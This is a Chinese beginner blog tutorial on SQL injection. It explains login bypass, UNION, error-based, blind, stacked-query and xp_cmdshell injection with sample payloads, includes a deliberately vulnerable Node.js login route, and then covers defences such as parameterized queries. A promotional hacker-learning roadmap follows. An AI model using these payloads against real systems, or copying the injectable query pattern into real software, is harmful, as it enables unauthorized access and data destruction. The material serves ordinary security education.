2025想做黑客？先来学习 SQL 注入，零基础入门到精通，收藏这篇就够了_sql注入有必要认真学吗

最新推荐文章于 2026-08-20 10:57:22 发布
原创 最新推荐文章于 2026-08-20 10:57:22 发布 · 647 阅读 · 17 ·
本内容遵循CC 4.0 BY-SA版权协议
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
GEO检测
收录于
网络安全

当前文章被收录于：

网络安全
406 篇文章 15 人学习
订阅专栏 查看详情

SQL 注入（SQL Injection）是一种常见的网络攻击手段，攻击者通过在 Web 应用程序的输入字段中插入恶意 SQL 代码，欺骗后台数据库执行非授权的 SQL 语句。

SQL 注入可以用于获取、篡改或删除数据库中的数据，甚至可以用于执行系统命令，导致数据泄露、数据破坏或服务器被控制等严重后果。

1、SQL 注入的工作原理

  • **对用户输入验证不足：**当 Web 应用程序没有正确验证用户输入时，攻击者可以在输入字段中插入 SQL 代码。

  • **拼接 SQL 语句：**应用程序后端通常将用户输入与 SQL 查询拼接在一起，形成完整的数据库查询语句。

  • **执行恶意 SQL：**如果应用程序没有对输入进行适当的转义，恶意 SQL 代码将被数据库服务器执行。

  • **数据泄露或破坏：**攻击者可以利用 SQL 注入来查询、修改或删除数据库中的数据，或者执行数据库管理系统的系统命令。

当用户登录网站时，通常会输入用户名和密码。

以下是一段正常的 SQL 查询代码：

SELECT * FROM users WHERE username = 'user1' AND password = 'password1';





如果攻击者输入：







用户名：**admin' --**  
密码：**anything**

SQL 查询变成：

SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything';

其中 – 是 SQL 的注释符号，忽略了密码条件，直接绕过了身份验证。

比如以下代码，就会出现被注入的情况：

const express = require('express');``const mysql = require('mysql');``   ``const app = express();``app.use(express.json());``   ``const connection = mysql.createConnection({`    `host: 'localhost',`    `user: 'root',`    `password: 'password',`    `database: 'testdb'``});``   ``app.post('/login', (req, res) => {`    `const { username, password } = req.body;``   `    `// 不安全的 SQL 查询`    ``const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;`````connection.query(query, (error, results) => {`        `if (error) {`            `return res.status(500).send('Database error');`        `}`        `if (results.length > 0) {`            `res.send('Login successful');`        `} else {`            `res.send('Invalid username or password');`        `}`    `});``});``   ``app.listen(3000, () => {`    `console.log('Server running on http://localhost:3000');``});
2、常见 SQL 注入
2.1、基础型 SQL 注入

直接将恶意 SQL 代码嵌入用户输入中，并影响查询逻辑。



输入用户名：**admin' OR '1'='1**  
输入密码：**anything**

执行的 SQL 查询：

SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything';

结果：

OR ‘1’=‘1’ 总为 true，可以绕过验证。

2.2、UNION 查询注入

通过 UNION 将攻击者构造的查询结果与合法查询结果合并，从而获取敏感数据。

输入：

' UNION SELECT null, username, password FROM users --

执行的 SQL 查询：

SELECT id, name FROM products WHERE id = '' UNION SELECT null, username, password FROM users --';

结果：

将 users 表的 username 和 password 数据作为结果返回。

2.3、错误型 SQL 注入

通过故意触发数据库错误，利用错误信息推测表名、列名或数据。

输入：

' AND 1=CONVERT(int, (SELECT @@version)) --

执行的 SQL 查询：

SELECT * FROM users WHERE username = '' AND 1=CONVERT(int, (SELECT @@version)) --';

结果：

错误信息可能暴露数据库版本或其他信息。

2.4、盲注

无法直接获取查询结果，攻击者通过判断返回页面的响应（如布尔值或时间延迟）来逐步推测数据。

布尔型盲注，输入：

' AND (SELECT 1 WHERE SUBSTRING((SELECT database()), 1, 1)='t') --

执行的 SQL 查询：

SELECT * FROM users WHERE username = '' AND (SELECT 1 WHERE SUBSTRING((SELECT database()), 1, 1)='t') --';

结果：

根据返回结果判断数据库名首字母是否为 t。

时间盲注，输入：

' AND IF(1=1, SLEEP(5), 0) --

执行的 SQL 查询：

SELECT * FROM users WHERE username = '' AND IF(1=1, SLEEP(5), 0) --';

结果：

如果条件成立，服务器会延迟 5 秒响应，从而泄露信息。

2.5、堆叠查询注入

允许多条 SQL 语句同时执行。

输入：

'; DROP TABLE users; --

执行的 SQL 查询：

SELECT * FROM users WHERE username = ''; DROP TABLE users; --';

结果：

users 表被删除。

当然，也可以执行修改管理员密码的SQL命令：

SELECT * FROM users WHERE username = ''; UPDATE users set  password='123456' where user='admin'; --';

某些数据库（如 MySQL）默认不支持多语句执行。

2.6、存储过程注入

利用存储过程的输入参数注入恶意 SQL。

输入：

'; EXEC xp_cmdshell('dir'); --

执行的 SQL：

EXEC LoginProcedure 'username', ''; EXEC xp_cmdshell('dir'); --'

结果：

执行系统命令（如列出目录）。

2.7、Cookie 注入

利用修改浏览器存储的 Cookie 值进行注入。

Cookie: session_id=' OR '1'='1;

服务器在解析 Cookie 时执行了恶意 SQL。

3、防范措施

3.1、参数化查询和预编译语句

使用参数化查询或预编译语句，将用户输入与 SQL 语句分离，避免用户输入被直接解析为 SQL 代码。

Java 代码：

String sql = "SELECT * FROM users WHERE username = ? AND password = ?";``PreparedStatement pstmt = connection.prepareStatement(sql);``pstmt.setString(1, username);``pstmt.setString(2, password);``ResultSet rs = pstmt.executeQuery();

Node.js (MySQL 模块)：

const query = "SELECT * FROM users WHERE username = ? AND password = ?";``connection.query(query, [username, password], (err, results) => {`    `if (err) throw err;`    `// Handle results``});

3.2、使用 ORM 框架

核心思路 ORM（如 Hibernate、Sequelize 等）通过自动生成 SQL 查询，大幅减少手动拼接 SQL 的机会，从而避免注入。

// 使用 Sequelizeconst user = await User.findOne({` `where: { username: 'admin', password: 'password123' }});

3.3、输入验证

严格检查用户输入是否符合预期，拒绝不符合规则的输入。

对用户名、邮箱等使用正则表达式，数值类型字段只允许数字输入。

对特殊字符进行转义（如 " 转为 \"）。

const username = req.body.username.replace(/[^a-zA-Z0-9]/g, ''); // 清理特殊字符
3.4、限制数据库权限

为数据库用户分配最小权限，只允许执行必要的操作。

  • **限制写入权限：**只允许插入、更新的用户操作对应的表，不允许 DROP、ALTER 等高危操作。

  • **分离读写权限：**使用只读账号访问数据库。

创建一个只读用户：

CREATE USER 'readonly_user'@'%' IDENTIFIED BY 'secure_password';``   ``GRANT SELECT ON database_name.* TO 'readonly_user'@'%';
3.5、定期安全测试

通过安全扫描工具或手动测试，定期检查代码中的潜在 SQL 注入漏洞。

我们可以使用开源工具 SQLMap 来测试。

SQLMap 是一个专门用于自动化进行 SQL 注入检测和利用的渗透测试工具。

SQLMap 广泛应用于网络安全评估和渗透测试中，帮助发现和修复SQL注入漏洞。

SQL 官方地址：https://sqlmap.org/

SQLMap 开源地址：https://github.com/sqlmapproject/sqlmap

黑客/网络安全学习路线
今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。

网络安全学习资源分享:

下面给大家分享一份2025最新版的网络安全学习路线资料，帮助新人小白更系统、更快速的学习黑客技术！

网络安全学习路线&学习资源

在这里插入图片描述

网络安全的知识多而杂，怎么科学合理安排？

下面给大家总结了一套适用于网安零基础的学习路线，应届生和转行人员都适用，学完保底6k！就算你底子差，如果能趁着网安良好的发展势头不断学习，日后跳槽大厂、拿到百万年薪也不是不可能！

初级网工

1、网络安全理论知识（2天）

①了解行业相关背景，前景，确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。（非常重要）

2、渗透测试基础（一周）

①渗透测试的流程、分类、标准
②信息收集技术：主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察
④主机攻防演练：MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础（一周）

①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全（系统入侵排查/系统加固基础）

4、计算机网络基础（一周）

①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析（HTTP、TCP/IP、ARP等）
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御：主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作（2天）

①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透（1周）

①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具：Nmap、BurpSuite、SQLMap、其他（菜刀、漏扫等）

恭喜你，如果学到这里，你基本可以从事一份网络安全相关的工作，比如渗透测试、Web 渗透、安全服务、安全分析等岗位；如果等保模块学的好，还可以从事等保工程师。薪资区间6k-15k

到此为止，大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗？

【“脚本小子”成长进阶资源领取】

7、脚本编程（初级/中级/高级）

在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中，想要高效地使用自制的脚本工具来实现各种目的，更是需要拥有编程能力.

零基础入门，建议选择脚本语言Python/PHP/Go/Java中的一种，对常用库进行编程学习； 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP， IDE强烈推荐Sublime； ·Python编程学习，学习内容包含：语法、正则、文件、 网络、多线程等常用库，推荐《Python核心编程》，不要看完； ·用Python编写漏洞的exp,然后写一个简单的网络爬虫； ·PHP基本语法学习并书写一个简单的博客系统； 熟悉MVC架构，并试着学习一个PHP框架或者Python框架 (可选)； ·了解Bootstrap的布局或者CSS。

8、超级网工

这部分内容对零基础的同学来说还比较遥远，就不展开细说了，贴一个大概的路线。感兴趣的童鞋可以研究一下，不懂得地方可以【点这里】加我耗油，跟我学习交流一下。

网络安全工程师企业级学习路线

如图片过大被平台压缩导致看不清的话，可以【点这里】加我耗油发给你，大家也可以一起学习交流一下。

一些我自己买的、其他平台白嫖不到的视频教程：

需要的话可以扫描下方卡片加我耗油发给你（都是无偿分享的），大家也可以一起学习交流一下。
在这里插入图片描述

结语

网络安全产业就像一个江湖，各色人等聚集。相对于欧美国家基础扎实（懂加密、会防护、能挖洞、擅工程）的众多名门正派，我国的人才更多的属于旁门左道（很多白帽子可能会不服气），因此在未来的人才培养和建设上，需要调整结构，鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”，才能解人才之渴，真正的为社会全面互联网化提供安全保障。

特别声明：

此教程为纯技术分享！本书的目的决不是为那些怀有不良动机的人提供及技术支持！也不承担因为技术被滥用所产生的连带责任！本书的目的在于最大限度地唤醒大家对网络安全的重视，并采取相应的安全措施，从而减少由网络安全而带来的经济损失！！！

标签
#学习 #sql #数据库 #网络安全 #计算机
#web安全
Android Settings 设置Preference置灰显示
随风而动
07-10 1003
使Preference置灰显示，不能点击。先调用Preference的setEnabled(false)，再调用setShouldDisableView(true); 如果使置灰项恢复正常可点击，可调用setEnabled(true)。
手眼标定----眼在手上(eye-in-hand)
苏州程序大白的博客
12-18 4253
@TOC 标定之前你可以先拿个怡宝盖子进行测试。 第一步：打开halcon，采集，然后生成代码，显示十字架 第二步:把怡宝盖子放在十字架中心位置，在图像处理，找到怡宝盖子 第三步:找到怡宝盖子然后进行九点标定(眼在外帖子有讲),移动机器手然后分别拍9次照片,记录怡宝盖子坐标和当前机器坐标。这里移动到中心位置的时候记录一下单独记录一下坐标,等下要用。 顺序 第四步:拍完后利用vector_to_hom_mat2d算子求出矩阵,然后在利用write_tuple (HomMat2D, ‘路径’)进行保存。这里
2025想做黑客？先来学习 SQL 注入，零基础入门到精通，收藏这篇就够了
baimao__Ch的博客
03-07 1114
SQL 注入（SQL Injection）是一种常见的网络攻击手段，攻击者通过在 Web 应用程序的输入字段中插入恶意 SQL 代码，欺骗后台数据库执行非授权的 SQL 语句。SQL 注入可以用于获取、篡改或删除数据库中的数据，甚至可以用于执行系统命令，导致数据泄露、数据破坏或服务器被控制等严重后果。**对用户输入验证不足：**当 Web 应用程序没有正确验证用户输入时，攻击者可以在输入字段中插入 SQL 代码。
Vue2 - 详细实现接入使用海康威视监控云端显示及控制功能，网站集成安装海康监控及实时监控显示、回放、放大缩小画面、视频画面截图、截屏抓拍、摄像头控制，实时推流及播放器解决延迟卡顿等问题（详细代码）
🏆 前端领域优质创作者
07-12 8202
vue2，nuxt2，海康威视，海康监控，摄像头监控，vue对接海康处理接口认证规则，监控实时预览和回放功能，海康api接口，安全认证，海康开放平台，官方文档，播放海康摄像头的监控视频，海康实时监控播放详细步骤，web，黑屏，特别卡不流畅怎么办，解决无法推流，录像，连接不上，vue，海康，vue海康视频监控，海康开放平台，实时监控画面，海康插件，视频播放，回放，视频流地址，取流协议，视频sdk播放，hik，rtsp，rtmp，hls，ws，网站，网页，h5页面，后台管理系统，vue2对接海康监控设备，无法连
2025黑客从零基础入门到精通（超详细），看完这一篇就够了
kjuhfkicf154的博客
03-13 1076
网络安全产业就像一个江湖，各色人等聚集。相对于欧美国家基础扎实（懂加密、会防护、能挖洞、擅工程）的众多名门正派，我国的人才更多的属于旁门左道（很多白帽子可能会不服气），因此在未来的人才培养和建设上，需要调整结构，鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”，才能解人才之渴，真正的为社会全面互联网化提供安全保障。
【2025版】最新黑客系统整理大全，零基础入门到精通，收藏这篇就够了
Python_0011的博客
02-18 1077
成长平台：适合小白入门、锻炼自学能力、总结能力、沉淀技术基础等场景，通过体系化的任务设置，开放性的任务要求，其他同学报告共享等方式，提升自学、总结、知识沉淀等能力，让自己在竞争中获得一些优势。**信安之路知识星球：**稳定运营 7 年，历史沉淀三千多主题，两千多份文档，内容丰富，还能同时解锁成长平台和内部文库账号，目前正值年度特惠期间，加入仅需 299，原价 512。渗透测试那些事儿。
【2025版】最新SQL 三种注入方式详解，零基础入门到精通，收藏这一篇就够了
leah126的博客
01-17 1978
MySQL 提供了 load_file() 函数，可以帮助用户快速读取文件，但文件的位置必须在服务器上，文件必须为绝对路径，且用户必须有 FILE 权限，文件容量也必须小于 max_allowed_packet 字节 (默认为 16MB，最大为 1GB)。SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序，而这些输入大都是SQL语法里的一些组合，通过执行SQL语句进而执行攻击者所要的操作，其主要原因是程序没有细致地过滤用户输入的数据，致使非法数据侵入系统。
【2025版】最新黑客学习路线-从入门到精通，收藏这篇就够了
喜欢Python编程的程序员柚柚呀
01-13 1125
黑客学习路线-从入门到精通（自学时长：15周）一、基础能力（2周）1、Linux基础与服务搭建Web应用运行原理与操作系统虚拟机使用与Linux安装LInux网络配置与VMware网络模式VMware不同网络模式练习Linux基础命令Vi编辑器Linux常用安全命令用户与用户组Linux权限系统yum、rpm、与源码安装LAMP环境安装Lamp环境部署IIS搭建aspcmsSQLServer安装与使用2、前端工作原理与开发HTML与CSS+JavaScript。
【2025】哪些人适合学计算机？ 就业前景好吗？零基础入门到精通，收藏这篇就够了
Libra1313的博客
02-13 1495
一般来说，刚毕业生的薪资会在5170元左右，毕业2年月薪约为9253元左右、毕业5年月薪约为12884元左右，随着工作年限和经验的增加，薪酬不断提高。在一线城市，有3-5年工作经验的工程师月薪15K也很普遍，即使是计算机专业的实习生，也可以拿到6-9K的月薪。计算机技术现在是非常吃香的，随着互联网行业的高速发展，这使得我们离不来计算机相关的技术的应用，所以，计算机专业人才上也能够得到很多的就业发展，就业前景是非常不错的。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。
2025版最新AWVS下载安装教程，（非常详细）零基础入门到精通，收藏这篇就够了
Libra1313的博客
06-12 6624
对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。这也是耗费了大白近四个月的时间，吐血整理，文章非常非常长，觉得有用的话，希望粉丝朋友帮忙点个**「分享」因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取。因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取。因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取。因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取。
2025版最新黑客入门教程（非常详细）从零基础入门到精通，看完这一篇就够了
chengxuyuanyy的博客
05-30 1747
网络安全产业就像一个江湖，各色人等聚集。相对于欧美国家基础扎实（懂加密、会防护、能挖洞、擅工程）的众多名门正派，我国的人才更多的属于旁门左道（很多白帽子可能会不服气），因此在未来的人才培养和建设上，需要调整结构，鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”，才能解人才之渴，真正的为社会全面互联网化提供安全保障。
2025黑客从零基础入门到精通（超详细），零基础看完这篇，看完这一篇就够了
wangluo12138的博客
03-05 690
网络安全产业就像一个江湖，各色人等聚集。相对于欧美国家基础扎实（懂加密、会防护、能挖洞、擅工程）的众多名门正派，我国的人才更多的属于旁门左道（很多白帽子可能会不服气），因此在未来的人才培养和建设上，需要调整结构，鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”，才能解人才之渴，真正的为社会全面互联网化提供安全保障。
2025黑客入门教程（非常详细）从零基础入门到精通，看完这一篇就够了
dzqxwzoe的博客
03-29 699
想要成为黑客，却苦于没有方向，不知道从何学起，下面这篇黑客入门教程可以帮你实现自己的黑客梦想，如果想学，可以继续看下去，文章有点长，希望你可以耐心看到最后1、 Web安全相关概念（2周）·熟悉基本概念(SQL注入、上传、XSS、 、CSRF、一句话木马等)。通过关键字（SOL注入、上传、XSSCSRF、一句话木马等） 进行Google/SecWiki；·阅读《精通脚本黑客》，虽然很旧也有错误，但是入门还是可以的；
2025版最新Bash Shell入门指南，零基础入门到精通，收藏这篇就够了
Python_0011的博客
01-22 1829
Bash（Bourne Again SHell）是一种广泛使用的Unix和Linux shell，它提供了丰富的命令和脚本功能，使得用户可以高效地与系统交互。掌握Bash Shell不仅能提升你的工作效率，还能让你在处理复杂任务时更加得心应手。希望这篇文章能帮助你入门Bash，成为一名更优秀的程序员。
机器人运动控制学习3——动力学
最新发布
weixin_62225554的博客
08-20 164
现在正式进入动力学。
自适应模糊PID的倒立摆MATLAB仿真
基于模糊PID的倒立摆仿真，M文件生成simulink形式，已测试
最新全国景区数据A-5A级景区2025年(全新整理)
1、资源内容地址：https://blog.csdn.net/2301_79696294/article/details/1509368232、数据特点：今年全新，手工精心整理，放心引用，数据来自权威，且标注《数据来源》，相对于其他人的控制变量数据准确很多,适合写论文做实证用 ，不会出现数据造假问题3、适用对象：大学生，本科生，研究生小白可用，容易上手！！！4、课程引用: 经济学，地理学，城市规划与城市研究，公共政策与管理，社会学，商业与管理
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值